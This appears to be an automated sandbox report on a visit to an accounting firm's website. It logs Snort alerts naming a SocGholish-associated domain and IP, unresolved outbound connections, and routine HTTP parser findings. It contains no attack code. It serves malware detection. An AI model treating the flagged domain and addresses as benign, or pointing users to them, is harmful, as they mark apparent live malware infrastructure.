Edit tour

Windows Analysis Report
https://www.bfjfinancial.com

Overview

General Information

Sample URL:	https://www.bfjfinancial.com
Analysis ID:	1424690
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic

Found iframes

HTML body contains low number of good links

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1740 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5984 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1144 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6036 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2368 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6140 --field-trial-handle=2028,i,5349720418153093144,9985797983344424952,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6388 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bfjfinancial.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Snort Signatures

ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) - Source IP: 192.168.2.4 - Destination IP: 88.119.175.92

Timestamp:	04/11/24-22:34:57.173279
SID:	2051635
Source Port:	49782
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) - Source IP: 192.168.2.4 - Destination IP: 88.119.175.92

Timestamp:	04/11/24-22:36:00.895204
SID:	2051635
Source Port:	50181
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN SocGholish Domain in DNS Lookup (welcome .visionaryyouth .org) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	04/11/24-22:34:57.125880
SID:	2051634
Source Port:	54380
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN SocGholish Domain in DNS Lookup (welcome .visionaryyouth .org) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	04/11/24-22:34:57.003226
SID:	2051634
Source Port:	63368
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) - Source IP: 192.168.2.4 - Destination IP: 88.119.175.92

Timestamp:	04/11/24-22:35:49.152913
SID:	2051635
Source Port:	50166
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: https://www.bfjfinancial.com/	HTTP Parser: Iframe src: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3091.363497503404!2d-76.86641948476705!3d39.211909435948826!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89b7d6d679e73e2d%3A0xdba2f95576c383e5!2sBFJ+Financial+Group!5e0!3m2!1sen!2sin!4v1499261403670
Source: https://www.bfjfinancial.com/	HTTP Parser: Iframe src: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3091.363497503404!2d-76.86641948476705!3d39.211909435948826!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89b7d6d679e73e2d%3A0xdba2f95576c383e5!2sBFJ+Financial+Group!5e0!3m2!1sen!2sin!4v1499261403670
Source: https://www.bfjfinancial.com/	HTTP Parser: Iframe src: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3091.363497503404!2d-76.86641948476705!3d39.211909435948826!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89b7d6d679e73e2d%3A0xdba2f95576c383e5!2sBFJ+Financial+Group!5e0!3m2!1sen!2sin!4v1499261403670
Source: https://www.bfjfinancial.com/	HTTP Parser: Iframe src: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3091.363497503404!2d-76.86641948476705!3d39.211909435948826!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89b7d6d679e73e2d%3A0xdba2f95576c383e5!2sBFJ+Financial+Group!5e0!3m2!1sen!2sin!4v1499261403670
Source: https://www.bfjfinancial.com/	HTTP Parser: Iframe src: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3091.363497503404!2d-76.86641948476705!3d39.211909435948826!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89b7d6d679e73e2d%3A0xdba2f95576c383e5!2sBFJ+Financial+Group!5e0!3m2!1sen!2sin!4v1499261403670
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: Iframe src: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=325px&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733885_458264&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: Iframe src: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=-2&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733881_749510&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: Iframe src: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=325px&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733885_458264&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: Iframe src: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=-2&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733881_749510&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-5X4BC6G
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: Iframe src: https://smartvault.ada.support/embed/x-storage/e540f3c/index.html
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: Iframe src: https://smartvault.ada.support/embed/button/e540f3c/index.html
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-5X4BC6G
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: Iframe src: https://smartvault.ada.support/embed/x-storage/e540f3c/index.html
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: Iframe src: https://smartvault.ada.support/embed/button/e540f3c/index.html

Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=-2&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733881_749510&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: Number of links: 0
Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=325px&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733885_458264&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: Number of links: 0
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: Number of links: 0

Source: https://www.bfjfinancial.com/

HTTP Parser: Title: Home - BFJ Tax & Accounting does not match URL

Source: https://www.facebook.com/bfjfinancial/	HTTP Parser: <input type="password" .../> found
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: <input type="password" .../> found
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: <input type="password" .../> found

Source: https://www.bfjfinancial.com/	HTTP Parser: No favicon
Source: https://www.bfjfinancial.com/	HTTP Parser: No favicon
Source: https://www.bfjfinancial.com/	HTTP Parser: No favicon
Source: https://www.bfjfinancial.com/	HTTP Parser: No favicon
Source: https://www.bfjfinancial.com/	HTTP Parser: No favicon
Source: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3091.363497503404!2d-76.86641948476705!3d39.211909435948826!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89b7d6d679e73e2d%3A0xdba2f95576c383e5!2sBFJ+Financial+Group!5e0!3m2!1sen!2sin!4v1499261403670	HTTP Parser: No favicon
Source: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3091.363497503404!2d-76.86641948476705!3d39.211909435948826!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89b7d6d679e73e2d%3A0xdba2f95576c383e5!2sBFJ+Financial+Group!5e0!3m2!1sen!2sin!4v1499261403670	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF&co=aHR0cHM6Ly93d3cuYmZqZmluYW5jaWFsLmNvbTo0NDM.&hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&size=normal&cb=r0v4am1gzsga	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF&co=aHR0cHM6Ly93d3cuYmZqZmluYW5jaWFsLmNvbTo0NDM.&hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&size=normal&cb=r0v4am1gzsga	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF	HTTP Parser: No favicon
Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=-2&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733881_749510&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: No favicon
Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=325px&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733885_458264&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: No favicon
Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=325px&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733885_458264&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: No favicon
Source: https://smartvault.ada.support/embed/button/e540f3c/index.html	HTTP Parser: No favicon
Source: https://www.bfjfinancial.com/payment/	HTTP Parser: No favicon
Source: https://www.bfjfinancial.com/about-us/	HTTP Parser: No favicon

Source: https://www.bfjfinancial.com/	HTTP Parser: No <meta name="author".. found
Source: https://www.bfjfinancial.com/	HTTP Parser: No <meta name="author".. found
Source: https://www.bfjfinancial.com/	HTTP Parser: No <meta name="author".. found
Source: https://www.bfjfinancial.com/	HTTP Parser: No <meta name="author".. found
Source: https://www.bfjfinancial.com/	HTTP Parser: No <meta name="author".. found
Source: https://www.facebook.com/bfjfinancial/	HTTP Parser: No <meta name="author".. found
Source: https://www.facebook.com/bfjfinancial/	HTTP Parser: No <meta name="author".. found
Source: https://www.facebook.com/bfjfinancial/	HTTP Parser: No <meta name="author".. found
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: No <meta name="author".. found
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: No <meta name="author".. found
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: No <meta name="author".. found
Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=-2&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733881_749510&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: No <meta name="author".. found
Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=325px&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733885_458264&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: No <meta name="author".. found
Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=325px&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733885_458264&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: No <meta name="author".. found
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: No <meta name="author".. found
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: No <meta name="author".. found

Source: https://www.bfjfinancial.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.bfjfinancial.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.bfjfinancial.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.bfjfinancial.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.bfjfinancial.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.facebook.com/bfjfinancial/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.facebook.com/bfjfinancial/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.facebook.com/bfjfinancial/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: No <meta name="copyright".. found
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: No <meta name="copyright".. found
Source: https://www.linkedin.com/authwall?trk=bf&trkInfo=AQEvMyThC0ZO9gAAAY7O31aYW7qcdKO8Im6ErS1T9N_oUnoeVAeDLLhNMaLiLOyLiQryZDz1VGQNWFSGLR8mHmSUNdvP4jZG2h9vFtkgqCkPtr7fg0df8kS86dZgI9g_3AYvx5w=&original_referer=&sessionRedirect=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fbfj-financial-group	HTTP Parser: No <meta name="copyright".. found
Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=-2&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733881_749510&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: No <meta name="copyright".. found
Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=325px&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733885_458264&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: No <meta name="copyright".. found
Source: https://accounts.google.com/gsi/button?logo_alignment=center&shape=pill&size=large&text=continue_with&theme=undefined&type=undefined&width=325px&client_id=990339570472-k6nqn1tpmitg8pui82bfaun3jrpmiuhs.apps.googleusercontent.com&iframe_id=gsi_733885_458264&as=DkZwAFkjtYiYs9sVzgdjdw&hl=en_US	HTTP Parser: No <meta name="copyright".. found
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: No <meta name="copyright".. found
Source: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.4:49812 version: TLS 1.2

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2051634 ET TROJAN SocGholish Domain in DNS Lookup (welcome .visionaryyouth .org) 192.168.2.4:63368 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2051634 ET TROJAN SocGholish Domain in DNS Lookup (welcome .visionaryyouth .org) 192.168.2.4:54380 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2051635 ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) 192.168.2.4:49782 -> 88.119.175.92:443
Source: Traffic	Snort IDS: 2051635 ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) 192.168.2.4:50166 -> 88.119.175.92:443
Source: Traffic	Snort IDS: 2051635 ET TROJAN SocGholish Domain in TLS SNI (welcome .visionaryyouth .org) 192.168.2.4:50181 -> 88.119.175.92:443

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.87
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/css/dist/block-library/style.min.css?ver=4a124e090d7ee965f75f11dee143117d HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/x/framework/dist/css/site/stacks/integrity-light.css?ver=10.4.16 HTTP/1.1Host: www.bfjfinancial.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.bfjfinancial.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
